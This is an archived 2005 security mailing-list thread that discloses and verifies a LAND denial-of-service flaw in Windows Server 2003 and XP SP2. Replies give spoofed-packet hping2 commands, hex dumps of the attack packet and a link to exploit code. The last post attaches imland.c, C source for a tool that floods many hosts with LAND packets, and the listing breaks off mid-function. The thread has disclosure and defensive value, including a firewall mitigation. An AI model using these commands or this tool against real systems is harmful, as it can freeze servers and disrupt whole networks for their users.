Onderwerp: Windows Server 2003 and XP SP2 LAND attack vulnerability

Hello, everyone.

Windows Server 2003 and XP SP2 (with Windows Firewall turned off) are vulnerable to LAND attack.

LAND attack:
Sending TCP packet with SYN flag set, source and destination IP address and source and destination port as of destination machine, results in 15-30 seconds DoS condition.


Tools used:
IP Sorcery for creating malicious packet, Ethereal for sniffing it and tcpreplay for replaying.

Results:
Sending single LAND packet to file server causes Windows explorer freezing on all workstations currently connected to the server. CPU on server goes 100%. Network monitor on the victim server sometimes can not even sniff malicious packet. Using tcpreplay
to script this attack results in total collapse of the network.

Vulnerable operating systems:
Windows 2003
XP SP2
other OS not tested (I have other things to do currently – like checking firewalls on my networks )

Solution:
Use Windows Firewall on workstations, use some firewall capable of detecting LAND attacks in front of your servers.

Ethic:
Microsoft was informed 7 days ago (25.02.2005, GMT +1, local time), NO answer received, so I decided to share this info with security community.


Dejan Levaja
System Engineer
Bulevar JNA 251
11000 Belgrade
Serbia and Montenegro
cell: +381.64.36.00.468
email: dejan@levaja.com

All:

I would like to hear from someone who can reproduce this. If you can, please send
details with OS, patches installed, pcaps, etc. not a report of what tools you used
to create the packet, sniff and replay the results. I've tested this and either my
machines are magically protected from this attack, or it is invalid (despite what
the press might say). I'd like some outside corroboration of this attack.


On 05-Mar-2005, Dejan Levaja wrote:
>
>
> Hello, everyone.
>
> Windows Server 2003 and XP SP2 (with Windows Firewall turned off) are vulnerable to LAND attack.
>
> LAND attack:
> Sending TCP packet with SYN flag set, source and destination IP address and source and destination port as of destination machine, results in 15-30 seconds DoS condition.
>
>
> Tools used:
> IP Sorcery for creating malicious packet, Ethereal for sniffing it and tcpreplay for replaying.
>
> Results:
> Sending single LAND packet to file server causes Windows explorer freezing on all workstations currently connected to the server. CPU on server goes 100%. Network monitor on the victim server sometimes can not even sniff malicious packet. Using tcprepl
ay to script this attack results in total collapse of the network.
>
> Vulnerable operating systems:
> Windows 2003
> XP SP2
> other OS not tested (I have other things to do currently ? like checking firewalls on my networks )
>
> Solution:
> Use Windows Firewall on workstations, use some firewall capable of detecting LAND attacks in front of your servers.
>
> Ethic:
> Microsoft was informed 7 days ago (25.02.2005, GMT +1, local time), NO answer received, so I decided to share this info with security community.
>
>
> Dejan Levaja
> System Engineer
> Bulevar JNA 251
> 11000 Belgrade
> Serbia and Montenegro
> cell: +381.64.36.00.468
> email: dejan@levaja.com
>

I can replicate this using hping2 on a Linux 2.2.19 box targeting a Windows
XP SP2 box (fully patched) with no firewall active on the same subnet. The
packet sent has the SYN flag set (-S) and a spoofed source address (-a). The
source and destination ports must be the same and open on the target
machine. I tried ports 135, 139, 445, and 3389, and all of them raised the
CPU usage of the System process to 100% for the duration of the attack and
for about 10 seconds afterwards. The effect is quite dramatic, but the
system isn't frozen per se. You can still interact with it, albeit very
slowly. Task Manager responds updates its window appropriately, for
instance, and you can send events to other applications.

One version of the command I used was (from a machine at 192.168.1.5):

hping2 192.168.1.1 -s 135 -p 135 -S -a 192.168.1.1

That should have the desired effect.

--
Patrick Chipman
Institute for Intelligent Systems
http://www.iismemphis.org
----- Original Message -----
From: "Jon O." <jono@networkcommand.com>
To: "Dejan Levaja" <dejan@levaja.com>
Cc: <bugtraq@securityfocus.com>
Sent: Monday, March 07, 2005 3:55 PM
Subject: Re: Windows Server 2003 and XP SP2 LAND attack vulnerability


> All:
>
> I would like to hear from someone who can reproduce this. If you can,
> please send
> details with OS, patches installed, pcaps, etc. not a report of what tools
> you used
> to create the packet, sniff and replay the results. I've tested this and
> either my
> machines are magically protected from this attack, or it is invalid
> (despite what
> the press might say). I'd like some outside corroboration of this attack.
>
>
> On 05-Mar-2005, Dejan Levaja wrote:
>>
>>
>> Hello, everyone.
>>
>> Windows Server 2003 and XP SP2 (with Windows Firewall turned off) are
>> vulnerable to LAND attack.
>>
>> LAND attack:
>> Sending TCP packet with SYN flag set, source and destination IP address
>> and source and destination port as of destination machine, results in
>> 15-30 seconds DoS condition.
>>
>>
>> Tools used:
>> IP Sorcery for creating malicious packet, Ethereal for sniffing it and
>> tcpreplay for replaying.
>>
>> Results:
>> Sending single LAND packet to file server causes Windows explorer
>> freezing on all workstations currently connected to the server. CPU on
>> server goes 100%. Network monitor on the victim server sometimes can not
>> even sniff malicious packet. Using tcpreplay to script this attack
>> results in total collapse of the network.
>>
>> Vulnerable operating systems:
>> Windows 2003
>> XP SP2
>> other OS not tested (I have other things to do currently ? like checking
>> firewalls on my networks )
>>
>> Solution:
>> Use Windows Firewall on workstations, use some firewall capable of
>> detecting LAND attacks in front of your servers.
>>
>> Ethic:
>> Microsoft was informed 7 days ago (25.02.2005, GMT +1, local time), NO
>> answer received, so I decided to share this info with security community.
>>
>>
>> Dejan Levaja
>> System Engineer
>> Bulevar JNA 251
>> 11000 Belgrade
>> Serbia and Montenegro
>> cell: +381.64.36.00.468
>> email: dejan@levaja.com
>>
>

In-Reply-To: <20050307215532.GA24251@logos.microshaft.org>

I can confirm a 15-30 second DoS condition (per packet) on Windows XP Professional SP2 (100% up2date with all Microsoft patches). I tested port 139 which was open and unfirewalled.

I found that the IP and TCP header checksums *do* need to be correct in order to exploit, and I also found that land.c does not generate valid tcp header checksums.

Here's a hex dump of the packet that I used:

0000 00 03 47 c6 88 2c 00 10 5a cc 59 84 08 00 45 00
0010 00 28 0f 1c 00 00 ff 06 29 21 c0 a8 01 21 c0 a8
0020 01 21 00 8b 00 8b 00 00 0f 1c 00 00 00 00 50 02
0030 08 00 14 1e 00 00


paul14075 on adelphia d0t com



>I would like to hear from someone who can reproduce this. If you can, please send
>details with OS, patches installed, pcaps, etc. not a report of what tools you used
>to create the packet, sniff and replay the results. I've tested this and either my
>machines are magically protected from this attack, or it is invalid (despite what
>the press might say). I'd like some outside corroboration of this attack.
>
>
>On 05-Mar-2005, Dejan Levaja wrote:
>>
>>
>> Hello, everyone.
>>
>> Windows Server 2003 and XP SP2 (with Windows Firewall turned off) are vulnerable to LAND attack.
>>
>> LAND attack:
>> Sending TCP packet with SYN flag set, source and destination IP address and source and destination port as of destination machine, results in 15-30 seconds DoS condition.
>>
>>
>> Tools used:
>> IP Sorcery for creating malicious packet, Ethereal for sniffing it and tcpreplay for replaying.
>>
>> Results:
>> Sending single LAND packet to file server causes Windows explorer freezing on all workstations currently connected to the server. CPU on server goes 100%. Network monitor on the victim server sometimes can not even sniff malicious packet. Using tcprep
lay to script this attack results in total collapse of the network.
>>
>> Vulnerable operating systems:
>> Windows 2003
>> XP SP2
>> other OS not tested (I have other things to do currently ? like checking firewalls on my networks )
>>
>> Solution:
>> Use Windows Firewall on workstations, use some firewall capable of detecting LAND attacks in front of your servers.
>>
>> Ethic:
>> Microsoft was informed 7 days ago (25.02.2005, GMT +1, local time), NO answer received, so I decided to share this info with security community.
>>
>>
>> Dejan Levaja
>> System Engineer
>> Bulevar JNA 251
>> 11000 Belgrade
>> Serbia and Montenegro
>> cell: +381.64.36.00.468
>> email: dejan@levaja.com
>>
>

In-Reply-To: <20050307215532.GA24251@logos.microshaft.org>

Hello

I've been able to reproduce this.

I used ipmagic on debian 3.0 and sendt a packet to a fully patched Windows 2003 server running on Vmware ESX server. I got a 1-5 sec. 100% load on the CPU on the target server. 1 packet/pr. sec. was enough to keep the CPU on 100% load.

Espen Grøndahl

>Received: (qmail 25355 invoked from network); 8 Mar 2005 04:31:31 -0000
>Received: from outgoing.securityfocus.com (HELO outgoing3.securityfocus.com) (205.206.231.27)
> by mail.securityfocus.com with SMTP; 8 Mar 2005 04:31:31 -0000
>Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
> by outgoing3.securityfocus.com (Postfix) with QMQP
> id 663A42373B4; Mon, 7 Mar 2005 15:12:20 -0700 (MST)
>Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
>Precedence: bulk
>List-Id: <bugtraq.list-id.securityfocus.com>
>List-Post: <mailto:bugtraq@securityfocus.com>
>List-Help: <mailto:bugtraq-help@securityfocus.com>
>List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
>List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
>Delivered-To: mailing list bugtraq@securityfocus.com
>Delivered-To: moderator for bugtraq@securityfocus.com
>Received: (qmail 30519 invoked from network); 7 Mar 2005 14:39:33 -0000
>Date: Mon, 7 Mar 2005 13:55:32 -0800
>From: "Jon O." <jono@networkcommand.com>
>To: Dejan Levaja <dejan@levaja.com>
>Cc: bugtraq@securityfocus.com
>Subject: Re: Windows Server 2003 and XP SP2 LAND attack vulnerability
>Message-ID: <20050307215532.GA24251@logos.microshaft.org>
>References: <20050305181714.22945.qmail@www.securityfocus.com>
>Mime-Version: 1.0
>Content-Type: text/plain; charset=us-ascii
>Content-Disposition: inline
>In-Reply-To: <20050305181714.22945.qmail@www.securityfocus.com>
>User-Agent: Mutt/1.4.1i
>X-No-Archive: yes
>X-Scanned-By: logoscan
>
>All:
>
>I would like to hear from someone who can reproduce this. If you can, please send
>details with OS, patches installed, pcaps, etc. not a report of what tools you used
>to create the packet, sniff and replay the results. I've tested this and either my
>machines are magically protected from this attack, or it is invalid (despite what
>the press might say). I'd like some outside corroboration of this attack.
>
>
>On 05-Mar-2005, Dejan Levaja wrote:
>>
>>
>> Hello, everyone.
>>
>> Windows Server 2003 and XP SP2 (with Windows Firewall turned off) are vulnerable to LAND attack.
>>
>> LAND attack:
>> Sending TCP packet with SYN flag set, source and destination IP address and source and destination port as of destination machine, results in 15-30 seconds DoS condition.
>>
>>
>> Tools used:
>> IP Sorcery for creating malicious packet, Ethereal for sniffing it and tcpreplay for replaying.
>>
>> Results:
>> Sending single LAND packet to file server causes Windows explorer freezing on all workstations currently connected to the server. CPU on server goes 100%. Network monitor on the victim server sometimes can not even sniff malicious packet. Using tcprep
lay to script this attack results in total collapse of the network.
>>
>> Vulnerable operating systems:
>> Windows 2003
>> XP SP2
>> other OS not tested (I have other things to do currently ? like checking firewalls on my networks )
>>
>> Solution:
>> Use Windows Firewall on workstations, use some firewall capable of detecting LAND attacks in front of your servers.
>>
>> Ethic:
>> Microsoft was informed 7 days ago (25.02.2005, GMT +1, local time), NO answer received, so I decided to share this info with security community.
>>
>>
>> Dejan Levaja
>> System Engineer
>> Bulevar JNA 251
>> 11000 Belgrade
>> Serbia and Montenegro
>> cell: +381.64.36.00.468
>> email: dejan@levaja.com
>>
>

Hi

I was able to reproduce LAND attack against two boxes with Windows XP
Professional installed. Both systems had all patches including SP2. After
receiving malformed packet both systems were very slow for about 5 - 10
seconds. Packet which I used is here:

[IP] 10.0.0.100 > 10.0.0.100
[IP ID] 31802
[IP Proto] TCP (6)
[IP TTL] 255
[IP TOS] 00
[IP Frag offset] 0000
[IP Frag flags]

[TCP Ports] 139 > 139
[TCP Flags] SYN
[TCP Urgent Pointer] 0
[TCP Window Size] 4096
[TCP Seq number] 1058371430


[Hexdump]
45 00 00 28 7C 3A 00 00 FF 06 00 00 0A 00 00 64 E..(|:.........d
0A 00 00 64 00 8B 00 8B 3F 15 77 66 34 E0 26 78 ...d....?.wf4r&x
50 02 10 00 78 31 00 00 P...x1..

According to me this vulnerability isn't very applicable in real environment
because almost every firewall can stop packets like this. Here is a log from
Windows Firewall. It stopped packed even though port 139 was open:

2005-03-08 11:55:04 DROP TCP 10.0.0.100 10.0.0.100 139 139 40 S 1058371430
887105144 4096 - - - RECEIVE

Best Regards
Miroslav Kubik
IT Specialist

----- Original Message -----
From: "Jon O." <jono@networkcommand.com>
To: "Dejan Levaja" <dejan@levaja.com>
Cc: <bugtraq@securityfocus.com>
Sent: Monday, March 07, 2005 10:55 PM
Subject: Re: Windows Server 2003 and XP SP2 LAND attack vulnerability


> All:
>
> I would like to hear from someone who can reproduce this. If you can,
> please send
> details with OS, patches installed, pcaps, etc. not a report of what tools
> you used
> to create the packet, sniff and replay the results. I've tested this and
> either my
> machines are magically protected from this attack, or it is invalid
> (despite what
> the press might say). I'd like some outside corroboration of this attack.
>
>
> On 05-Mar-2005, Dejan Levaja wrote:
>>
>>
>> Hello, everyone.
>>
>> Windows Server 2003 and XP SP2 (with Windows Firewall turned off) are
>> vulnerable to LAND attack.
>>
>> LAND attack:
>> Sending TCP packet with SYN flag set, source and destination IP address
>> and source and destination port as of destination machine, results in
>> 15-30 seconds DoS condition.
>>
>>
>> Tools used:
>> IP Sorcery for creating malicious packet, Ethereal for sniffing it and
>> tcpreplay for replaying.
>>
>> Results:
>> Sending single LAND packet to file server causes Windows explorer
>> freezing on all workstations currently connected to the server. CPU on
>> server goes 100%. Network monitor on the victim server sometimes can not
>> even sniff malicious packet. Using tcpreplay to script this attack
>> results in total collapse of the network.
>>
>> Vulnerable operating systems:
>> Windows 2003
>> XP SP2
>> other OS not tested (I have other things to do currently ? like checking
>> firewalls on my networks )
>>
>> Solution:
>> Use Windows Firewall on workstations, use some firewall capable of
>> detecting LAND attacks in front of your servers.
>>
>> Ethic:
>> Microsoft was informed 7 days ago (25.02.2005, GMT +1, local time), NO
>> answer received, so I decided to share this info with security community.
>>
>>
>> Dejan Levaja
>> System Engineer
>> Bulevar JNA 251
>> 11000 Belgrade
>> Serbia and Montenegro
>> cell: +381.64.36.00.468
>> email: dejan@levaja.com
>>

In-Reply-To: <20050307215532.GA24251@logos.microshaft.org>

>All:
>
>I would like to hear from someone who can reproduce this. If you can, please send
>details with OS, patches installed, pcaps, etc. not a report of what tools you used
>to create the packet, sniff and replay the results. I've tested this and either my
>machines are magically protected from this attack, or it is invalid (despite what
>the press might say). I'd like some outside corroboration of this attack.

OK,

I run Microsoft Windows [Version 5.2.3790] aka Windows Server 2003.
All service packs have been installed. I went to Windows Update, and
nothing installed. Windows Firewall is off.

My linux box is a sarge installation of Debian, which is up to date.

Interesting ports on 192.168.0.100:
(The 1600 ports scanned but not shown below are in state: closed)
Port State Service
135/tcp open loc-srv
139/tcp open netbios-ssn


The code I used is from here:
http://www.k-otik.com/exploits/20050307.windos.c.php

eight@dipset-bitch:~/code$ sudo ./land-new 192.168.0.100 139
Packet sent. Remote machine should be down.

The original land.c code didn't want to compile on my linux box.. so I saw this on a slashdot post, tested it, and it locks the machine up to 100% CPU for about 8-10 secs, then goes back to normal.

I hope this helps.

--CC

The attack seems to cause 100% cpu usage on my xp sp2 machines for about
20seconds.After this period of time they are instantly usable again. Note
that both my xp PCs are fully updated with the latest patches from
(bliah) microsoft.
John

My Microsoft Tech Support liason (TAM) confirms this to be true, but has
no further information at this time.

-----Original Message-----
From: Jon O. [mailto:jono@networkcommand.com]=20
Sent: Monday, March 07, 2005 3:56 PM
To: Dejan Levaja
Cc: bugtraq@securityfocus.com
Subject: Re: Windows Server 2003 and XP SP2 LAND attack vulnerability


All:

I would like to hear from someone who can reproduce this. If you can,
please send
details with OS, patches installed, pcaps, etc. not a report of what
tools you used
to create the packet, sniff and replay the results. I've tested this and
either my
machines are magically protected from this attack, or it is invalid
(despite what
the press might say). I'd like some outside corroboration of this
attack.


On 05-Mar-2005, Dejan Levaja wrote:
>=20
>=20
> Hello, everyone.
>=20
> Windows Server 2003 and XP SP2 (with Windows Firewall turned off) are
vulnerable to LAND attack.=20
>=20
> LAND attack:
> Sending TCP packet with SYN flag set, source and destination IP
address and source and destination port as of destination machine,
results in 15-30 seconds DoS condition.=20
>=20
>=20
> Tools used:
> IP Sorcery for creating malicious packet, Ethereal for sniffing it
and tcpreplay for replaying.=20
>=20
> Results:
> Sending single LAND packet to file server causes Windows explorer
freezing on all workstations currently connected to the server. CPU on
server goes 100%. Network monitor on the victim server sometimes can not
even sniff malicious packet. Using tcpreplay to script this attack
results in total collapse of the network.
>=20
> Vulnerable operating systems:
> Windows 2003
> XP SP2
> other OS not tested (I have other things to do currently ? like
checking firewalls on my networks )
>=20
> Solution:
> Use Windows Firewall on workstations, use some firewall capable of
detecting LAND attacks in front of your servers.
>=20
> Ethic:
> Microsoft was informed 7 days ago (25.02.2005, GMT +1, local time),
NO answer received, so I decided to share this info with security
community.=20
>=20
>=20
> Dejan Levaja
> System Engineer=20
> Bulevar JNA 251
> 11000 Belgrade
> Serbia and Montenegro
> cell: +381.64.36.00.468
> email: dejan@levaja.com
>=20

FWIW in addition to all the SP2 responses note: cannot replicate on 2000 =
SP4 or XP SP1
using exact packets that work on SP2.

-ae

>----- Original Message -----=20
>From: "Jon O." <jono@networkcommand.com>
>To: "Dejan Levaja" <dejan@levaja.com>
>Cc: <bugtraq@securityfocus.com>
>Sent: Monday, March 07, 2005 3:55 PM
>Subject: Re: Windows Server 2003 and XP SP2 LAND attack vulnerability
>
>
>> All:
>>
>> I would like to hear from someone who can reproduce this. If=20
>you can,=20
>> please send
>> details with OS, patches installed, pcaps, etc. not a report=20
>of what tools=20
>> you used
>> to create the packet, sniff and replay the results. I've=20
>tested this and=20
>> either my
>> machines are magically protected from this attack, or it is invalid=20
>> (despite what
>> the press might say). I'd like some outside corroboration of=20
>this attack.
>>
>>
>> On 05-Mar-2005, Dejan Levaja wrote:
>>>
>>>
>>> Hello, everyone.
>>>
>>> Windows Server 2003 and XP SP2 (with Windows Firewall=20
>turned off) are=20
>>> vulnerable to LAND attack.
>>>
>>> LAND attack:
>>> Sending TCP packet with SYN flag set, source and=20
>destination IP address=20
>>> and source and destination port as of destination machine,=20
>results in=20
>>> 15-30 seconds DoS condition.
>>>
>>>
>>> Tools used:
>>> IP Sorcery for creating malicious packet, Ethereal for=20
>sniffing it and=20
>>> tcpreplay for replaying.
>>>
>>> Results:
>>> Sending single LAND packet to file server causes Windows explorer=20
>>> freezing on all workstations currently connected to the=20
>server. CPU on=20
>>> server goes 100%. Network monitor on the victim server=20
>sometimes can not=20
>>> even sniff malicious packet. Using tcpreplay to script this attack=20
>>> results in total collapse of the network.
>>>
>>> Vulnerable operating systems:
>>> Windows 2003
>>> XP SP2
>>> other OS not tested (I have other things to do currently ?=20
>like checking=20
>>> firewalls on my networks )
>>>
>>> Solution:
>>> Use Windows Firewall on workstations, use some firewall capable of=20
>>> detecting LAND attacks in front of your servers.
>>>
>>> Ethic:
>>> Microsoft was informed 7 days ago (25.02.2005, GMT +1,=20
>local time), NO=20
>>> answer received, so I decided to share this info with=20
>security community.
>>>
>>>
>>> Dejan Levaja
>>> System Engineer
>>> Bulevar JNA 251
>>> 11000 Belgrade
>>> Serbia and Montenegro
>>> cell: +381.64.36.00.468
>>> email: dejan@levaja.com
>>>
>>=20
>
>
>

Thats intersting=2E
I haven't tested my 2k3 box yet, but have tested against XP SP1
(Pentium 4 2=2E6G)=2E
I didn't get the 100% load on the CPU that others have reported, but
did get symptoms=2E
I tried ports 135, 139 and 445=2E
When I tried ports 135 and 139 I saw the average CPU load on the
target machine average 50-60%=2E
When I tried port 445 I saw the average load become 60-70%=2E
Some tweaking of packet sizes and intervals gave me an average of
about 75% load with the occasional spike upto 90%=2E

The machine was still completely usable=2E

The machine wasn't running any app's so I figured this could be the
cause=2E I am still yet to try it with a load already running=2E

However, what you're seeing could possibly account for this, and am
now eager to try it on my 2k3 machine=2E

I used hping to send the packets, as below (The interval time didn't
make too much differance (a second was fine), and the data size
really didn't make much differance at all - infact it was pretty much
the same with a straight SYN packet):

hping2 192=2E168=2E1=2E5 -s 445 -d 445 -a 192=2E168=2E1=2E5 -i u55 -d 0x15=


>
>---- Original Message ----
>From: Arian=2EEvans@fishnetsecurity=2Ecom
>To: jono@networkcommand=2Ecom, bugtraq@securityfocus=2Ecom,
>dejan@levaja=2Ecom
>Subject: RE: Windows Server 2003 and XP SP2 LAND attack vulnerability
>Date: Tue, 8 Mar 2005 16:35:23 -0600
>
>>FWIW in addition to all the SP2 responses note: cannot replicate on
>2000 SP4 or XP SP1
>>using exact packets that work on SP2=2E
>>
>>-ae
>>
>>>----- Original Message -----=20
>>>From: "Jon O=2E" <jono@networkcommand=2Ecom>
>>>To: "Dejan Levaja" <dejan@levaja=2Ecom>
>>>Cc: <bugtraq@securityfocus=2Ecom>
>>>Sent: Monday, March 07, 2005 3:55 PM
>>>Subject: Re: Windows Server 2003 and XP SP2 LAND attack
>vulnerability
>>>
>>>
>>>> All:
>>>>
>>>> I would like to hear from someone who can reproduce this=2E If=20
>>>you can,=20
>>>> please send
>>>> details with OS, patches installed, pcaps, etc=2E not a report=20
>>>of what tools=20
>>>> you used
>>>> to create the packet, sniff and replay the results=2E I've=20
>>>tested this and=20
>>>> either my
>>>> machines are magically protected from this attack, or it is
>invalid=20
>>>> (despite what
>>>> the press might say)=2E I'd like some outside corroboration of=20
>>>this attack=2E
>>>>
>>>>

> I would like to hear from someone who can reproduce this. If you can,
> please send
> details with OS, patches installed, pcaps, etc. not a report of what

I've tested the original land attack against a Windows XP box SP2, =
spanish
version, fw disabled, patches up to date, attacker and victim on the =
same
subnet. Tested on ports 139, 445 and 4899 (remote administrator =
service). In
all cases, after sending one "landed" packet, CPU usage raised from 2% =
to
77% and from then, to 100%, then back to 2%. The whole sequence took =
about
20 seconds.

If I tried the attack while the screensaver was active, it halted for =
those
20 seconds, and then back to normal.

I've not been able to reproduce this on a XP SP2 behind a firewall, with =
a
port mapped from the firewall to the machine. I tried modifying the land
source code to use a source IP identical to the machine internal IP, in =
the
hope that, after NAT translation, IP source and IP destination will be =
the
same and the attack would work, but no luck.

Tried also on a XP SP2, same characteristics as the previous one, but =
this
time not on my subnet, but many routers away. Apparently, no bad =
effects.

I took the land binary to a Linux machine on the same subnet as this =
second
XP box. Tried again and it worked!

After this test, I enabled Zone Alarm on this WinXP box and tried again:
this time it worked, but it was necesary about 30 packets (1 second =
packet
rate) to raise CPU usage to 100%. Inmediately after stopping the packet
generator, the CPU usage came back to normal.

Hope this helps on clarifying the matter.

--
Miguel Angel Rodriguez Jodar | http://www.atc.us.es
Departamento de Arquitectura y Tecnologia de Computadores
Universidad de Sevilla
Spain

This is a multi-part message in MIME format.
--------------030305010802080805030904
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Jon O. wrote:
> All:
>
> I would like to hear from someone who can reproduce this. If you can, please send
> details with OS, patches installed, pcaps, etc. not a report of what tools you used
> to create the packet, sniff and replay the results. I've tested this and either my
> machines are magically protected from this attack, or it is invalid (despite what
> the press might say). I'd like some outside corroboration of this attack.
>

It appears it doesn't work if windows' builtin firewall is turned on,
even if the attack is sent to an unfiltered and open port. The tcp and
IP checksums must also be correct, which a lot of older land-attack
programs failed to produce (I couldn't reproduce on my system with any I
found online).

I've also noticed that targeted systems seems to respond to ping during
the attack, but are completely incapable of doing anything that requires
CPU resources to be spent in userland (typing text is impossible, moving
the mouse works fine). Continuous attacks that cross some hardcoded
packet boundary can even cause the targeted system to rustle back in to
play early.

To test it, you'd need to log in and watch the task manager freeze up
(set update interval to high to make it more obvious).

Attached is imland.c (improved multiple land), which was designed to
rapidly and possibly continuously test a wide range of servers. It
should compile cleanly on most unixen. I've thrown in some usage output
as well. Please use it responsibly.

/exon

--------------030305010802080805030904
Content-Type: text/x-csrc;
name="imland.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
filename="imland.c"

/*
* imland - improved multiple land
*
* A good spanking session requires several good, hard slaps.
*
* This program lands multiple land attacks on multiple hosts as a
* proof of concept of the oldly discovered but newly resurfaced
* M$ `land' attack vulnerability. It was written without ill intent to
* test a large range of servers for vulnerabilities in one go.
*
* If the targeted machines freeze up for 5-30 seconds for each packet,
* that means they are vulnerable.
*
* Disclaimer:
* This program was written without ill intent. It was designed to test
* and prove the effects of the LAND attack on multiple hosts at once.
* I am in no way responsible for what you do with this piece of code.
*
* Please use it responsibly to test your own servers only.
*
*/

#define _BSD_SOURCE
#define __FAVOR_BSD

#include <stdio.h>
#include <ctype.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>


/* the attack packet */
struct raw_tcp_packet {
struct ip ip;
struct tcphdr tcp;
};

/* required to make the TCP checksum correct */
struct tcp_chksum_hdr {
struct in_addr src;
struct in_addr dest;
u_char zero;
u_char proto;
u_short len;
struct tcphdr tcp;
};

/* linked list with all we need, really */
typedef struct target {
struct sockaddr_in sa;
struct {
struct iphdr ip; /* included here so we can build them once */
struct tcphdr tcp; /* and thus transmit a tiny bit faster */
} pkt;
struct target *next;
} target;

/** prototypes **/
int send_land(int, struct target *);
void u_sleep(u_int);
int add_target_ip(char *, struct in_addr *, u_short);
u_int get_timevar(const char *);
int add_target(char *);
unsigned short chksum(unsigned short *, int);
void finish(int);
void crash(const char *, ...);
void usage(void);

/** external **/
extern int optind, opterr, optopt;
extern int h_errno;
extern char *optarg;
extern char *__progname;

/** global variables **/
target *list = NULL, *cursor = NULL;
int targets = 0;
int pkt_interval = 0; /* no delay by default */
int pkts = 1, pkts_sent = 0; /* send one per host by default */
int debug = 0;
u_short defport = 139; /* default port */

/** code start **/
void crash(const char *fmt, ...)
{
va_list ap;

printf("%s: ", __progname);

va_start(ap, fmt);
vprintf(fmt, ap);
va_end(ap);

if(errno) printf(": %s", strerror(errno));
puts("");

exit(3);
}

int main(int argc, char **argv)
{
target *host;
int sock, foo;

if((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
crash("socket()");

while((foo = getopt(argc, argv, "v:i:n:")) != EOF) {
switch(foo) {
case 'v':
debug++;
break;
case 'i':
pkt_interval = get_timevar(optarg);
break;
case 'p':
defport = (u_short)strtoul(optarg, NULL, 0);
break;
case 'n':
pkts = strtoul(optarg, NULL, 0);
if(debug) printf("Sending %d packets\n", pkts);
break;
default:
add_target(optarg);
break;
}
}

argv = &argv[optind];
while(*argv) {
add_target(*argv);
argv++;
}

if(!targets) usage();

while(!pkts || pkts > pkts_sent) {
host = list;
while(host) {
printf("Sending to %s:%u ... ",
inet_ntoa(host->sa.sin_addr),
host->sa.sin_port);
foo = send_land(sock, host);
if(foo == - 1) printf("failed - %s\n", strerror(errno));
else printf("ok, landed %d bytes\n", foo);

if(pkt_interval) u_sleep(pkt_interval);

host = host->next;
}
pkts_sent++;
}

return 0;
}

/* build and send the land attack packet */
int send_land(int sock, struct target *host)
{
struct raw_tcp_packet pkt;
struct tcp_chksum_hdr tcc;

memset(&pkt, 0, sizeof(pkt));
memset(&tcc, 0, sizeof(tcc));

/* ip options */
pkt.ip.ip_v = IPVERSION;
pkt.ip.ip_hl = sizeof(struct iphdr) / 4;
pkt.ip.ip_tos = 0;
pkt.ip.ip_len = ntohs(sizeof(struct ip) + sizeof(struct tcphdr));
pkt.ip.ip_off = htons(IP_DF);
pkt.ip.ip_ttl = 0xff;
pkt.ip.ip_p = IPPROTO_TCP;
pkt.ip.ip_src = pkt.ip.ip_dst = host->sa.sin_addr;
pkt.ip.ip_sum = chksum((u_short *)&pkt.ip, sizeof(struct iphdr));

tcc.src = tcc.dest = host->sa.sin_addr;
tcc.zero = 0;
tcc.proto = IPPROTO_TCP;
tcc.len = htons(sizeof(struct tcphdr));

tcc.tcp.th_sport = tcc.tcp.th_dport = htons(host->sa.sin_port);
tcc.tcp.th_seq = htons(0x1d1);
tcc.tcp.th_off = sizeof(struct ip) / 4;
tcc.tcp.th_flags = TH_SYN;
tcc.tcp.th_win = htons(512);

memcpy(&pkt.tcp, &tcc.tcp, sizeof(struct tcphdr));
pkt.tcp.th_sum = chksum((u_short *)&tcc, sizeof(tcc));
return sendto(sock, &pkt, sizeof(pkt), 0, (struct sockaddr *)&host->sa,
sizeof(struct sockaddr_in));
}

/* calculate checksum */
u_short chksum(u_short *p, int n)
{
register long sum = 0;

while(n > 1) {
sum += *p++;
n -= 2;
}
/* mop up the occasional odd byte */
if(n == 1) sum += *(u_char *)p;

sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum = sum + (sum >> 16); /* add carry */
return ~sum; /* ones-complement, truncate */
}

/* usleep() the portable way. No error checking is done,
* so this might theoretically fail. */
void u_sleep(u_int u_sec)
{
struct timeval to;
fd_set readset, writeset;

if(debug > 3) printf("sleeping for %u microseconds\n", u_sec);
if(!u_sec) return;

to.tv_sec = u_sec / 1000000;
to.tv_usec = u_sec % 1000000;
FD_ZERO(&writeset);
FD_ZERO(&readset);
select(0, &readset, &writeset, NULL, &to);

return;
}

int add_target_ip(char *arg, struct in_addr *in, u_short port)
{
struct target *host;

/* disregard obviously stupid addresses */
if(in->s_addr == INADDR_NONE || in->s_addr == INADDR_ANY)
return -1;

if(debug) printf("Adding %s:%u to target list\n", inet_ntoa(*in), port);

/* add the fresh ip */
host = malloc(sizeof(struct target));
if(!host) {
crash("add_target_ip(%s, %s): malloc(%d) failed",
arg, inet_ntoa(*in), sizeof(struct target));
}
memset(host, 0, sizeof(struct target));

/* fill out the sockaddr_in struct */
host->sa.sin_family = AF_INET;
host->sa.sin_addr.s_addr = in->s_addr;
host->sa.sin_port = port ? port : defport;

if(!list) list = host;
else cursor->next = host;

cursor = host;
targets++;

return 0;
}

/* wrapper for add_target_ip to resolve stuff as well */
int add_target(char *arg)
{
int i;
struct hostent *he;
struct in_addr *in, ip;
char *port_str;
u_short port = 0;

if(!arg) return -1;

if((port_str = strchr(arg, ':'))) {
*port_str = '\0';
port_str++;
if(*port_str) port = (u_short)strtoul(port_str, NULL, 0);
}

/* don't resolve if we don't have to */
if(inet_aton(arg, &ip)) return add_target_ip(arg, &ip, port);

/* not an IP, so resolve */
errno = 0;
he = gethostbyname(arg);
if(!he && h_errno == TRY_AGAIN) {
u_sleep(500000);
he = gethostbyname(arg);
}

if(!he) crash("Failed to resolve %s: %s", arg, hstrerror(h_errno));

/* add all the IP's as targets */
for(i = 0; he->h_addr_list[i]; i++) {
in = (struct in_addr *)he->h_addr_list[i];
